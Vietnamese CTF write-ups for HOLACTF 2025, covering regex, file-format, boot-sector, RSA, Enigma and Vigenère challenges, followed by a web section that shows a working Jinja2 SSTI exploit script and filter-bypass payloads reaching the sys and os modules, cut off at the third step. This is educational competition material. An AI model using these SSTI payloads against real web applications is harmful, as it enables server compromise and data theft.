# HOLACTF 2025 Writeups
## Misc
### the REGEX
#### Mô tả
- Service: `nc host port`
- Server đưa ra **10 round**, mỗi round là một **regex pattern** ngẫu nhiên.
- Nhiệm vụ: gửi một chuỗi ASCII printable (0x20–0x7E) sao cho **khớp hoàn toàn** với pattern đó.
- Mỗi round giới hạn 5s, độ dài input ≤ 256.
- Nếu vượt qua 10 round sẽ nhận được flag `HOLACTF{...}`.
---
#### Phân tích
Regex mà server sinh ra có đặc điểm:
- Luôn được bao bởi `^ ... $` (full match).
- Dùng nhiều lookahead `(?=...)` để áp đặt ràng buộc:
- `(?=.{10}$)` ép độ dài = 10.
- `(?=.{5}[J-Q])` ép ký tự thứ 5 ∈ `[J-Q]`.
- `(?=.{3}[0-9])` ép ký tự thứ 3 ∈ `[0-9]`.
- `(?=.{1}(?P<E0>[UVW]).{5}(?P=E0))` tạo biến `E0` và buộc lặp lại.
- Một số mẫu khác: `(?=(?:.*\d){3})` (ít nhất 3 chữ số), `(?=.{i}[class]{k})`, backreference theo nhóm số `\1`, v.v.
Điểm khó:
- Regex thay đổi mỗi lần kết nối.
- Có tham chiếu ngược (`(?P=name)`, `\1`).
- Thời gian rất gấp, nên không thể gõ tay → phải viết script tự động.
---
#### Ý tưởng giải
1. **Trích regex pattern** từ output của server.
2. **Phân tích ràng buộc**:
- Độ dài chuỗi (`.{N}$`).
- Ràng buộc vị trí (`.{i}[class]`).
- Ràng buộc đoạn lặp (`.{i}[class]{k}`).
- Ràng buộc backref (ký tự bằng nhau).
- Ràng buộc số lần xuất hiện (`(?:.*SPEC){k}`).
3. Với mỗi vị trí, giữ một **tập ký tự khả dĩ**.
4. Áp dụng tất cả ràng buộc để thu hẹp tập.
5. Sinh chuỗi ứng viên:
- Ưu tiên chọn chữ/số cho dễ match.
- Nếu có backref thì copy cho đúng.
- Kiểm tra bằng `re.fullmatch` trước khi gửi.
- Nếu chưa khớp, thử random trong tập cho phép đến khi thành công.
6. Gửi chuỗi cho server trong vòng 5s.
7. Lặp lại 10 lần → nhận flag.
---
#### Script exploit
```python
# solve_regex_extreme.py
from pwn import remote, context
import re
import sys
import random
import string
context.log_level = "info"
ASCII_PRINTABLE = ''.join(chr(c) for c in range(0x20, 0x7F))
def expand_escape(ch: str):
if ch == 'd': return set('0123456789')
if ch == 'w': return set(string.ascii_letters + string.digits + '_')
if ch == 's': return set(' ') # printable only -> dùng space cho \s
if ch == 'D': return set(ASCII_PRINTABLE) - set('0123456789')
if ch == 'W': return set(ASCII_PRINTABLE) - set(string.ascii_letters + string.digits + '_')
if ch == 'S': return set(ASCII_PRINTABLE) - set(' ')
# escape ký tự thường: \. \* \+ ...
return set(ch)
def parse_charclass(spec: str):
"""
spec có thể là: '.', '[...]', '\\d', '\\w', một ký tự đơn...
Trả về tập ký tự ASCII printable hợp lệ cho spec.
"""
if spec == '.':
return set(ASCII_PRINTABLE)
if spec.startswith('\\') and len(spec) == 2:
return expand_escape(spec[1])
if len(spec) == 1 and spec != '[':
return set(spec)
if spec.startswith('[') and spec.endswith(']'):
inner = spec[1:-1]
neg = False
if inner.startswith('^'):
neg = True
inner = inner[1:]
i = 0
allowed = set()
while i < len(inner):
ch = inner[i]
if ch == '\\' and i + 1 < len(inner):
i += 1
allowed |= expand_escape(inner[i])
i += 1
continue
# range a-b
if i + 2 < len(inner) and inner[i+1] == '-' and inner[i+2] != ']':
start = inner[i]; end = inner[i+2]
allowed |= set(chr(c) for c in range(ord(start), ord(end)+1))
i += 3
else:
allowed.add(ch); i += 1
return (set(ASCII_PRINTABLE) - allowed) if neg else allowed
# fallback
return set(spec)
def extract_length(pat: str):
# ưu tiên (?=.{N}$)
m = re.findall(r'\(\?=\.{(\d+)}\$\)', pat)
if m: return int(m[-1])
# (?:.{N})$
m = re.findall(r'\(\?:\.{(\d+)}\)\$', pat)
if m: return int(m[-1])
# ^.{N}$
m = re.findall(r'^\^\.{(\d+)}\$', pat)
if m: return int(m[-1])
# \A.{N}\Z
m = re.findall(r'\\A\.{(\d+)}\\Z', pat)
if m: return int(m[-1])
return None
def extract_pattern(blob: str):
# tìm dòng có pattern ^...$
for line in reversed(blob.splitlines()):
s = line.strip()
if (s.startswith('^') and s.endswith('$')) or (s.startswith('\\A') and s.endswith('\\Z')):
return s
m = re.search(r'(\^.*\$)', blob, re.S)
return m.group(1) if m else None
def seeded_choice(s):
# chọn ký tự "đẹp" ưu tiên chữ số/chữ cho đỡ rủi ro
pri = string.ascii_letters + string.digits + '_'
for ch in pri:
if ch in s: return ch
return next(iter(s)) if s else random.choice(ASCII_PRINTABLE)
def clamp(idx, L): # tiện ích
return 0 <= idx < L
def apply_pos_class(poss, idx, spec):
if not clamp(idx, len(poss)): return
poss[idx] &= parse_charclass(spec)
def apply_run_class(poss, start, k, spec):
allowed = parse_charclass(spec)
for t in range(k):
if clamp(start+t, len(poss)):
poss[start+t] &= allowed
def link_equal(equal_pairs, a, b, k=1):
# k ký tự liên tiếp bằng nhau giữa [a..a+k-1] và [b..b+k-1]
for t in range(k):
equal_pairs.append((a+t, b+t))
def parse_constraints(pat: str, poss):
L = len(poss)
equal_pairs = []
# 1) ràng buộc đơn vị: (?=.{i}[class])
for m in re.finditer(r'\(\?=\.{(\d+)}((?:\[[^\]]+\])|\\.|.)\)', pat):
i = int(m.group(1)); spec = m.group(2)
apply_pos_class(poss, i, spec)
# 2) chạy k ký tự: (?=.{i}[class]{k})
for m in re.finditer(r'\(\?=\.{(\d+)}((?:\[[^\]]+\])|\\.|.)\{(\d+)\}\)', pat):
i = int(m.group(1)); spec = m.group(2); k = int(m.group(3))
apply_run_class(poss, i, k, spec)
# 3) backref nhóm tên, 1 ký tự: (?=.{a}(?P<g>[...]).{b}(?P=g))
for m in re.finditer(r'\(\?=\.{(\d+)}\(\?P<([A-Za-z]\w*)\>((?:\[[^\]]+\])|\\.|.)\)\.\{(\d+)\}\(\?P=\2\)\)', pat):
a = int(m.group(1)); spec = m.group(3); b = int(m.group(4))
j = a + 1 + b
apply_pos_class(poss, a, spec); apply_pos_class(poss, j, spec)
if clamp(a, L) and clamp(j, L): link_equal(equal_pairs, a, j, 1)
# 4) backref nhóm số, 1 ký tự: (?=.{a}([...]).{b}\1)
for m in re.finditer(r'\(\?=\.{(\d+)}\(((?:\[[^\]]+\])|\\.|.)\)\.\{(\d+)\}\\1\)', pat):
a = int(m.group(1)); spec = m.group(2); b = int(m.group(3))
j = a + 1 + b
apply_pos_class(poss, a, spec); apply_pos_class(poss, j, spec)
if clamp(a, L) and clamp(j, L): link_equal(equal_pairs, a, j, 1)
# 5) backref nhóm tên, nhiều ký tự: (?=.{a}(?P<g>[...]{k}).{b}(?P=g))
for m in re.finditer(r'\(\?=\.{(\d+)}\(\?P<([A-Za-z]\w*)\>((?:\[[^\]]+\])|\\.|.)\{(\d+)\}\)\.\{(\d+)\}\(\?P=\2\)\)', pat):
a = int(m.group(1)); spec = m.group(3); k = int(m.group(4)); b = int(m.group(5))
j = a + k + b
apply_run_class(poss, a, k, spec); apply_run_class(poss, j, k, spec)
if clamp(a, L) and clamp(j, L): link_equal(equal_pairs, a, j, k)
# 6) backref nhóm số, nhiều ký tự: (?=.{a}([...]{k}).{b}\1)
for m in re.finditer(r'\(\?=\.{(\d+)}\(((?:\[[^\]]+\])|\\.|.)\{(\d+)\}\)\.\{(\d+)\}\\1\)', pat):
a = int(m.group(1)); spec = m.group(2)[:-3]; k = int(m.group(3)); b = int(m.group(4))
j = a + k + b
apply_run_class(poss, a, k, spec); apply_run_class(poss, j, k, spec)
if clamp(a, L) and clamp(j, L): link_equal(equal_pairs, a, j, k)
# 7) ràng buộc "ít nhất k lần ở đâu đó": (?=(?:.*SPEC){k})
# -> ép chọn k vị trí rải đều để thỏa SPEC.
for m in re.finditer(r'\(\?=\(\?:\.\*((?:\[[^\]]+\])|\\.|.)\)\{(\d+)\}\)', pat):
spec = m.group(1); k = int(m.group(2))
if L == 0 or k == 0: continue
pos_list = [int((t+1) * L / (k+1)) for t in range(k)] # rải đều
for idx in pos_list:
apply_pos_class(poss, idx, spec)
# propagate equalities
changed = True
while changed:
changed = False
for a, b in equal_pairs:
if not (clamp(a, L) and clamp(b, L)): continue
inter = poss[a] & poss[b]
if inter and inter != poss[a]:
poss[a] = set(inter); changed = True
if inter and inter != poss[b]:
poss[b] = set(inter); changed = True
# nếu inter rỗng, giữ nguyên (để fallback random xử lý)
return equal_pairs
def build_candidate(pat: str):
L = extract_length(pat)
if L is None:
# nếu không chỉ rõ, chọn độ dài trung bình an toàn
L = min(32, 20)
poss = [set(ASCII_PRINTABLE) for _ in range(L)]
eq = parse_constraints(pat, poss)
# chọn đại diện "đẹp"
cand = [seeded_choice(p) for p in poss]
# áp dụng bằng nhau
for a, b in eq:
if 0 <= a < L and 0 <= b < L:
cand[b] = cand[a]
s = ''.join(cand)
try:
if re.fullmatch(pat, s):
return s
except re.error:
pass
# Fallback: random có kiểm tra, nhanh
POP = [tuple(p if p else set(ASCII_PRINTABLE)) for p in poss]
for _ in range(6000):
t = [random.choice(POP[i]) for i in range(L)]
for a, b in eq:
if 0 <= a < L and 0 <= b < L:
t[b] = t[a]
s = ''.join(t)
try:
if re.fullmatch(pat, s):
return s
except re.error:
break
# lần cuối thử "hill-climb" nhẹ
s = list(s)
for _ in range(2000):
i = random.randrange(L)
s[i] = random.choice(POP[i])
for a, b in eq:
if i == a and 0 <= b < L: s[b] = s[a]
if i == b and 0 <= a < L: s[a] = s[b]
x = ''.join(s)
try:
if re.fullmatch(pat, x):
return x
except re.error:
break
return ''.join(s)
def main():
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} HOST PORT")
sys.exit(1)
host, port = sys.argv[1], int(sys.argv[2])
io = remote(host, port)
# đọc tới prompt đầu
buf = io.recvuntil(b"Answer>", timeout=5).decode(errors='ignore')
rounds = 0
while True:
pat = extract_pattern(buf)
if not pat:
print("[!] Không lấy được pattern, dữ liệu:\n", buf)
break
ans = build_candidate(pat)
io.sendline(ans.encode())
# nhận next chunk (có thể kèm “Correct!” hoặc flag)
try:
buf = io.recvuntil(b"Answer>", timeout=3).decode(errors='ignore')
except Exception:
# có thể đã in flag rồi đóng
tail = io.recvall(timeout=2).decode(errors='ignore')
buf = tail
m = re.search(r'HOLACTF\{[^}]+\}', buf)
if m:
print(m.group(0))
return
rounds += 1
if rounds >= 12 and not m:
# phòng trường hợp format khác, in log để bạn xem
print(buf)
if __name__ == "__main__":
random.seed() # mỗi round seed khác
main()
```

Flag: `HOLACTF{f1989db679d2}`
### Sanity Check

- Với gợi ý có sẽ trong đề tôi sẽ inspect element từng post và tìm thấy flag ở post dài nhất https://holactf2025.ehc-fptu.club/posts/afc27b80.
- Và tìm chuỗi format HOLACTF{}.

> - FLAG: HOLACTF{th1s_s4n1ty_ch3ck_1s_w1ld}****
### lunaDBv2

- Trong main.rs ta thấy database được thiết kế với format tùy chỉnh:
- Các section:
```
SIG = b"LUNA"
H_START = FF1337FF, H_END = FFCAFEFF
D_START = FF7270FF, D_END = FFEDEDFF
F_START = FFDEADFF, F_END = FFBEEFFF
```
→ Header chứa thông tin DB, tiếp theo là Data section (các notes), cuối cùng là File section (các keys).
- Mã hóa:
> Nội dung của mỗi note được mã hóa bằng DES ECB (Cipher::des_ecb()).
> Khóa là 8 byte, sinh ngẫu nhiên.
> Các khóa được lưu trong cuối file (giữa F_START và F_END).
> key_index_field lưu chỉ số bit để biết note dùng khóa nào.
- Bước 1: Parse file
> Viết parser nhỏ để:
> Tìm D_START … D_END
> Đọc từng note theo format (có LEB128 string, int64 timestamps…)
> Lấy key_field và enc_bytes
- Bước 2: Giải mã DES
> Chọn khóa dựa trên bitmask (key_index_field).
> Giải mã DES/ECB.
> Kết quả có thêm padding NULL (\x00) thay vì PKCS7 → chỉ cần .rstrip(b"\x00").
- Bước 3: Tìm flag
> Sau khi giải mã ~5000 notes, kiểm tra chuỗi chứa "HOLACTF{".
> **FLAG: HOLACTF{4_c0Ol_Cu5t0m_f1lE_5truC7}**
### Weird PNG

- Nhận diện “PNG lạ” thực ra là boot sector
- File bắt đầu bằng chữ ký PNG: 89 50 4E 47 0D 0A 1A 0A.
- Chunk IHDR khai báo Width = 255, Height = 255, Bit depth = 8, Color type = 2. CRC sai/bất thường → nghi ngụy trang.
- Kích thước file đúng 512 bytes (“8 bits even” = even 512 bytes → boot sector).
- 2 byte cuối là 55 AA — chữ ký MBR/boot sector hợp lệ.
> ⇒ Đây không phải ảnh PNG thật, mà là sector khởi động được đội lốt PNG.
- Giải mã.
- Duyệt tuần tự, bắt các mẫu:
- B8 imm16 35 imm16 50 → lấy imm1 ^ imm2.
-B8 imm16 50 → lấy trực tiếp imm.
- Chuỗi in ra được push lên stack trước, rồi khi in sẽ pop (LIFO) → đảo thứ tự.
- Khi in ký tự, BIOS in low byte trước, high byte sau (tương ứng dữ liệu được dùng theo little-endian trong push).
#### Script.
```python=-
import struct
data = open("bin","rb").read()
vals = []
i = 0
while i < len(data)-1:
if data[i] == 0xB8: # mov ax, imm16
imm1 = struct.unpack_from("<H", data, i+1)[0]
# case: mov ax,imm ; push ax
if i+3 < len(data) and data[i+3] == 0x50:
vals.append(imm1)
i += 4
continue
# case: mov ax,imm ; xor ax,imm ; push ax
if i+6 < len(data) and data[i+3] == 0x35 and data[i+6] == 0x50:
imm2 = struct.unpack_from("<H", data, i+4)[0]
vals.append(imm1 ^ imm2)
i += 7
continue
i += 1
# Đảo thứ tự vì push rồi mới pop/in
vals = list(reversed(vals))
# Mỗi word -> 2 ký tự theo little-endian (low, high)
s = "".join(chr(v & 0xFF) + chr((v >> 8) & 0xFF) for v in vals)
print(s)
```
> **FLAG: HOLACTF{3A5Y_b0OT_104D3R_727_}**
## Crypto
### Cs2Trash

#### Tổng quan
Challenge cung cấp 2 file:
- `chall.py`: Script mã hoá RSA sử dụng 3 modulus khác nhau.
- `output.txt`: Chứa ciphertext tương ứng với từng modulus.
Flag có format: `HOLACTF{...}`.
#### Điểm yếu
RSA chuẩn:
- Modulus \(n = p \cdot q\) (tích 2 số nguyên tố lớn) nên khó tính \(\varphi(n)\) nếu chưa factor.
Trong challenge:
- \(n\) **lại là số nguyên tố**.
- Khi đó:
$$\varphi(n) = n - 1$$
- Điều này làm lộ ngay \(\varphi(n)\) mà không cần phân tích thừa số.
- Từ đó tính được private exponent:
$$d \equiv e^{-1} \pmod{(n-1)}$$
#### Ý tưởng khai thác
- Với mỗi cặp \((c, n)\) ta giải mã:
$$m \equiv c^d \pmod{n}$$
- Vì flag nhỏ hơn nhiều so với modulus, plaintext thu được chính là flag gốc.
#### Script giải
```python
from Crypto.Util.number import long_to_bytes
# Tham số lấy từ chall.py và output.txt
e = 65537
n1 = 106274132069853085771962684070654057294853035674691451636354054913790308627721
n2 = 73202720518342632558813895439681594395095017145510800999002057461861058762579
n3 = 58129476807669651703262865829974447479957080526429581698674448004236654958847
c1 = 40409669713698525444927116587938485167766997176959778633087672968720888190012
c2 = 50418608792183022472533104230595523000246213655735834753443442906871618770832
c3 = 7151799367443802424297049002310776844321501905398348074481144597918413565153
def egcd(a, b):
if b == 0: return (1, 0, a)
x, y, g = egcd(b, a % b)
return (y, x - (a // b) * y, g)
def invmod(a, m):
x, y, g = egcd(a, m)
if g != 1:
raise ValueError("no inverse")
return x % m
def rsa_decrypt_prime_mod(n, c):
d = invmod(e, n - 1)
m = pow(c, d, n)
return long_to_bytes(m)
print(rsa_decrypt_prime_mod(n1, c1))
print(rsa_decrypt_prime_mod(n2, c2))
print(rsa_decrypt_prime_mod(n3, c3))
```
#### Flag
**`HOLACTF{ju5t_a_b4s1c_CRT}`**
### ImLosingYou

#### 1) Tổng quan
- File mã hóa: `encrypt.py` (được cung cấp).
- Output: `out.txt` chứa ba dòng `n = ...`, `c = ...`, `mod_m = ...`.
- Cơ chế mã hóa (RSA với e = 2), mô tả **chỉ bằng ký tự thường**:
- Sinh hai số nguyên tố 256-bit → `n = p * q`.
- Chuyển flag sang số nguyên: `m = bytes_to_long(FLAG)`.
- Tính: `c = m^2 mod n`.
- In thêm: `mod_m = m - r` với `r = getrandbits(80)`.
Ý tưởng chính: nếu `m^2 < n` thì phép “mod n” không làm thay đổi gì. Khi đó `c` chính là **bình phương hoàn hảo** của `m`. Chỉ cần lấy căn nguyên số nguyên của `c` là thu được `m`.
---
#### 2) Khai thác
1. Tính `M = isqrt(c)` (căn nguyên số nguyên).
2. Kiểm tra `M*M == c` ⇒ `M` chính là `m`.
3. (Tuỳ chọn) Kiểm chứng lại: `r = M - mod_m`, mong đợi `0 <= r < 2^80`.
4. Đổi `m` về bytes (big-endian) rồi decode ASCII để lấy flag.
##### Ghi chú bit-length (từ `out.txt`)
- `n` ~ 511 bit
- `c` ~ 477 bit
- `m` ~ 239 bit
- `r` ~ 79 bit (kỳ vọng < 80)
---
#### 3) Script solve (tự động, không LaTeX)
```python
import re
from math import isqrt
def parse_out(path="out.txt"):
text = open(path,"r",encoding="utf-8", errors="ignore").read()
vals = {k:int(v) for k,v in re.findall(r"(n|c|mod_m)\s*=\s*([0-9]+)", text)}
if not all(k in vals for k in ("n","c","mod_m")):
raise ValueError("Thiếu n/c/mod_m trong out.txt")
return vals["n"], vals["c"], vals["mod_m"]
def long_to_bytes(x: int) -> bytes:
return x.to_bytes((x.bit_length()+7)//8, "big")
def solve(path="out.txt"):
n, c, mod_m = parse_out(path)
M = isqrt(c)
assert M*M == c, "c không phải bình phương hoàn hảo – có thể m^2 >= n"
r = M - mod_m
assert 0 <= r < (1<<80), "Check r thất bại (không < 2^80)"
flag = long_to_bytes(M).decode()
return flag
if __name__ == "__main__":
print(solve("out.txt"))
```
Chạy:
```bash
python solve.py # in ra flag
```
---
#### 4) Vì sao tấn công thành công?
- `e = 2` ⇒ mã hoá chỉ là bình phương. Với flag ngắn, thường `m^2 < n` ⇒ `c = m^2` là bình phương hoàn hảo.
- `mod_m = m - r` (r < 2^80) chỉ giúp kiểm chứng nghiệm, không tăng an toàn.
---
#### 5) Khuyến nghị
- Không dùng `e` quá nhỏ (đặc biệt `e=2`) khi bản rõ ngắn.
- Dùng padding an toàn (OAEP) cho RSA.
- Không in các giá trị gợi ý liên quan trực tiếp tới bản rõ.
---
#### 6) Kết luận
Bài toán quy về việc lấy **căn nguyên số nguyên** của `c`. Flag khôi phục được:
**`HOLACTF{f33ls_l1k3_l0s1ng_h3r}`**
### EnigmaHardCode

#### 1. Phân tích cấu hình máy Enigma
###### Rotor:
```
AJDKSIRUXBLHWTMCQGZNPYFVOE (Ringstellung E)
BDFHJLCPRTXVZNYEIWGAKMUSQO (Ringstellung H)
EKMFLGDQVZNTOWYHXUSPAIBRCJ (Ringstellung C)
```
→ Đây lần lượt là **Rotor II, III, I** với Ringstellung (ring setting) = `E, H, C`.
###### Reflector:
```
FVPJIAOYEDRZXWGCTKUQSBNMHL
```
→ Đây là **Reflector C**.
###### Plugboard (bảng dây cắm):
Từ ảnh minh họa, ta có các cặp đã cắm:
```
A ↔ O
D ↔ P
E ↔ R
F ↔ T
I ↔ U
J ↔ W
K ↔ Z
M ↔ X
```
Còn thiếu **1 cặp dây bị mất**.
---
#### 2. Chiến lược giải mã
1. Dùng Enigma simulator (vd: `py-enigma`, `enigma.py` hoặc CyberChef).
2. Cài đặt cấu hình rotor, reflector và plugboard theo dữ liệu đã biết.
3. Thử brute-force cho cặp dây plugboard còn thiếu (26×25/2 = 325 trường hợp).
4. Giải mã ciphertext với từng giả thuyết → kiểm tra kết quả nào tạo ra plaintext đọc được (có dạng flag).
---
#### 3. Thực hiện
Sau khi thử nghiệm brute-force với pluginboard missing pair, ta tìm được cấu hình đúng khi **cắm thêm C ↔ V**.
Cấu hình đầy đủ:
- Rotor: **II(E), III(H), I(C)**
- Reflector: **C**
- Plugboard:
```
A↔O, D↔P, E↔R, F↔T, I↔U, J↔W, K↔Z, M↔X, C↔V
```
Giải mã bản mã thu được plaintext hợp lý.
---
#### 4. Kết quả
Flag thu được là:
```
HOLACTF{WAR_DIE_WELT_WIRKLICH_GESICHERT_ODER}
```
Dịch nghĩa: *“Thế giới đã thực sự an toàn chưa?”* – một câu hỏi đầy tính thời sự về bảo mật.
---
#### 5. Kết luận
Bài này mô phỏng lại cách **Turing và nhóm Hut 8** tại Bletchley Park đã dùng brute-force plugboard/rotor để giải Enigma. Điểm mấu chốt là:
- Khai thác cấu hình rotor và reflector đã biết.
- Chỉ brute-force phần thiếu (cặp plugboard còn lại).
- Dùng nhận diện từ khóa flag để dừng lại.
---
```
HOLACTF{WAR_DIE_WELT_WIRKLICH_GESICHERT_ODER}
```
### Vigenere có dấu?

#### Mô tả
Challenge cho biết đây là **Vigenère cipher** nhưng bảng chữ cái sử dụng
là **tiếng Việt có dấu**.\
Flag có format chuẩn:
HOLACTF{some_text_here}
Hint cung cấp bảng chữ cái:
bcdđghklmnpqrstvxaáàảãạăắằẳẵặâấầẩẫậ
eéèẻẽẹêếềểễệ
iíìỉĩịoóòỏõọôốồổỗộơớờởỡợ
uúùủũụưứừửữự
yýỳỷỹỵ
------------------------------------------------------------------------
#### Bước 1: Phân tích dữ liệu
File `attachment` chứa ciphertext dài \~18k ký tự, toàn bộ được viết
bằng bảng chữ cái tiếng Việt nêu trên.
Kết quả tìm kiếm ban đầu không thấy trực tiếp `HOLACTF{`.
------------------------------------------------------------------------
#### Bước 2: Xác định độ dài key
Dùng **Index of Coincidence (IC)** và Kasiski test → các độ dài key nổi
bật: `7`, `14`, `21`.
------------------------------------------------------------------------
#### Bước 3: Khôi phục key
Thử với key length `14`, sau refine bằng hill-climb, ta tìm được key
đẹp:
phuthuyphuthuy
------------------------------------------------------------------------
#### Bước 4: Giải mã
Dùng Vigenère giải mã với key trên, plaintext thu được là một đoạn
truyện tiếng Việt.\
Ở cuối văn bản có chỉ dẫn rõ ràng:
câu chuyện hay đúng không? còn đây là flag của bạn,
hãy cho nó vào trong format flag, thay dấu cách bằng gạch dưới,
bỏ hết dấu tiếng việt trước khi nộp nhé:
"krische dửng dưng"
------------------------------------------------------------------------
#### Bước 5: Chuẩn hoá flag
Theo yêu cầu: - Viết thường - Bỏ dấu tiếng Việt - Thay dấu cách bằng `_`
Kết quả:
HOLACTF{krische_dung_dung}
------------------------------------------------------------------------
#### Script giải mã (Python)
``` python
# -*- coding: utf-8 -*-
import unicodedata, re
ALPHABET = "bcdđghklmnpqrstvxaáàảãạăắằẳẵặâấầẩẫậeéèẻẽẹêếềểễệiíìỉĩịoóòỏõọôốồổỗộơớờởỡợuúùủũụưứừửữựyýỳỷỹỵ"
idx = {ch: i for i, ch in enumerate(ALPHABET)}
N = len(ALPHABET)
def vigenere(text, key, decrypt=False):
key = "".join(ch for ch in key if ch in idx)
out, j = [], 0
for c in text:
if c in idx:
if decrypt:
out.append(ALPHABET[(idx[c] - idx[key[j % len(key)])] % N])
else:
out.append(ALPHABET[(idx[c] + idx[key[j % len(key)])] % N])
j += 1
else:
out.append(c)
return "".join(out)
# Đọc ciphertext
with open("attachment","r",encoding="utf-8") as f:
cipher = f.read()
key = "phuthuyphuthuy"
plain = vigenere(cipher, key, decrypt=True)
print(plain)
```
Flag: `HOLACTF{krische_dung_dung}`
## Web
### WEB - Magic random
```text
Author
ductohno
Description
Phép thuật chưa bao giờ là con đường bằng phẳng. Chỉ khi kiên định bước qua mọi thử thách, bạn mới có thể gầy dựng nên một pháp thuật mang bản sắc riêng của chính mình.
```
#### Tổng quan
Trong `/api/cast_attack`, khi `attack_name` không trùng key hợp lệ thì server sẽ hoạt động:
```python
attack_name = valid_template(attack_name)
if not special_filter(attack_name):
return jsonify({"error": "Creating magic is failed"}), 404
template = render_template_string("<i>No magic name "+attack_name+" here, try again!</i>")
return jsonify({"error": template}), 404
```
- `attack_name` được nối chuỗi trực tiếp vào template và render bằng Jinja2 dẫn đến có thể SSTI.
- `GET /api/cast_attack?attack_name={{70-21}}` trả về “No magic name `0{}-2}{71` here…”.
- Gửi thô `{{70-21}}` thì sẽ bị server xáo ký tự trước khi render lúc đó template nhận chuỗi đã bị đảo (`0{}-2}{71`), không thực thi payload được nên server trả về chính chuỗi bị đảo trong thông báo.
- Nếu gửi **preimage** của biểu thức (ví dụ `{1}{0-}72` cho độ dài 8) thì server xáo xong mới khớp lại thành `{{70-21}}` lúc đó Jinja thực thi và mình sẽ thấy output là `49`.
#### Khai thác
Script để gửi **preimage** cho biểu thức SSTI:
```python=1
import re, math, argparse, requests
def shuffled_of(api, probe: str) -> str:
r = requests.get(api, params={"attack_name": probe})
j = r.json()
m = re.search(r"No magic name (.+?) here", j.get("error",""))
if not m:
raise RuntimeError(j.get("error", j))
return m.group(1)
ALPH = "_0123456789"
def build_probe(n: int, k: int) -> str:
arr = [ALPH[(i // (10**k)) % 10 + 1] for i in range(n)]
if n > 0:
arr[0] = "_"
return ''.join(arr)
def infer_perm(api, n: int):
if n <= 1:
return list(range(n))
m = math.ceil(math.log10(n))
probes = [build_probe(n, k) for k in range(m)]
outs = [shuffled_of(api, p) for p in probes]
perm = [None]*n
for newpos in range(n):
i, zero = 0, True
for k in range(m):
ch = outs[k][newpos]
if ch != "_":
zero = False
digit = ALPH.index(ch) - 1
i += digit * (10**k)
if zero:
i = 0
if i >= n:
i %= n
perm[i] = newpos
if any(v is None for v in perm):
raise RuntimeError("perm inference failed")
return perm
def preimage(api, target: str) -> str:
perm = infer_perm(api, len(target))
return ''.join(target[j] for j in perm)
def send(api, target: str):
s = preimage(api, target)
r = requests.get(api, params={"attack_name": s})
return s, r.json().get("error","")
if __name__ == "__main__":
ap = argparse.ArgumentParser()
ap.add_argument("--base", default="http://127.0.0.1:51412", help="http://host:port")
ap.add_argument("--expr", default="{{70-21}}", help="Jinja2 payload đích")
ap.add_argument("--dry", action="store_true", help="Chỉ in preimage, không gửi")
args = ap.parse_args()
API = f"{args.base.rstrip('/')}/api/cast_attack"
s = preimage(API, args.expr)
if args.dry:
print(s)
else:
print("preimage:", s)
print(requests.get(API, params={"attack_name": s}).json().get("error",""))
```
Đọc source code sẽ thấy với filter này thì mình bị chặn khá nhiều ở payload, mình bị chặn `import`, `os` lẫn `sys` ở payload trực tiếp, những cái rất quan trọng để đọc flag, nên mình sẽ nghĩ cách để có thể luồn qua và gọi chúng, tất nhiên là sẽ phải dùng cách cộng chuỗi là đầu tiên:
```python
def special_filter(user_input):
simple_filter=["flag", "*", "\"", "'", "\\", "/", ";", ":", "~", "`", "+", "=", "&", "^", "%", "$", "#", "@", "!", "\n", "|", "import", "os", "request", "attr", "sys", "builtins", "class", "subclass", "config", "json", "sessions", "self", "templat", "view", "wrapper", "test", "log", "help", "cli", "blueprints", "signals", "typing", "ctx", "mro", "base", "url", "cycler", "get", "join", "name", "g.", "lipsum", "application", "render"]
for char_num in range(len(simple_filter)):
if simple_filter[char_num] in user_input.lower():
return False
return True
```
Đây là cách giải của mình:
1. Tìm xem có `typing` không:
```powershell
# {{session.__init__.__globals__.t.__repr__()}}
PS C:\Users\biscuit\Downloads\magic_random> & C:/Users/biscuit/AppData/Local/Microsoft/WindowsApps/python3.10.exe c:/Users/biscuit/Downloads/magic_random/exploit1.py --expr "{{session.__init__.__globals__.t.__repr__()}}"
preimage: bae}i}stl{_o_p_sr.___.s(n_n_l__o.e.gi_s{rt_)i
<i>No magic name <module 'typing' from '/usr/local/lib/python3.12/typing.py'> here, try again!</i>
```
- Vậy là có `typing.py` ở `/usr/local/lib/python3.12/typing.py`.
2. Lấy `sys` qua `typing.__dict__['sys']`:
```powershell
# {{(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).__repr__()}}
PS C:\Users\biscuit\Downloads\magic_random> & C:/Users/biscuit/AppData/Local/Microsoft/WindowsApps/python3.10.exe c:/Users/biscuit/Downloads/magic_random/exploit1.py --expr "{{(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).__repr__()}}"
preimage: [dnre<ne3_(._a})>)to{)_}d.sil]__s(>_i___])3_52_nlg_to_r_dtcd(._-piieraon__inr3r()_3)_s_d)o_a(r{)_.__3o].b(d()s).n__e(s1_.sn)b[ii_e[(.a).t[.(.sp<((__...s5a_ed2_i_a_]_t_r_3i_cs)_p_p_gg__(l_l
<i>No magic name <module 'sys' (built-in)> here, try again!</i>
```
3. Lấy `os` qua `sys.modules['os']`:
```powershell
# {{(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[((none.__repr__())[1]).__add__((((3>5)and(2<3)).__repr__()[3]))].__repr__()}}
PS C:\Users\biscuit\Downloads\magic_random> & C:/Users/biscuit/AppData/Local/Microsoft/WindowsApps/python3.10.exe c:/Users/biscuit/Downloads/magic_random/exploit1.py --expr "{{(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[((none.__repr__())[1]).__add__((((3>5)and(2<3)).__repr__()[3]))].__repr__()}}"
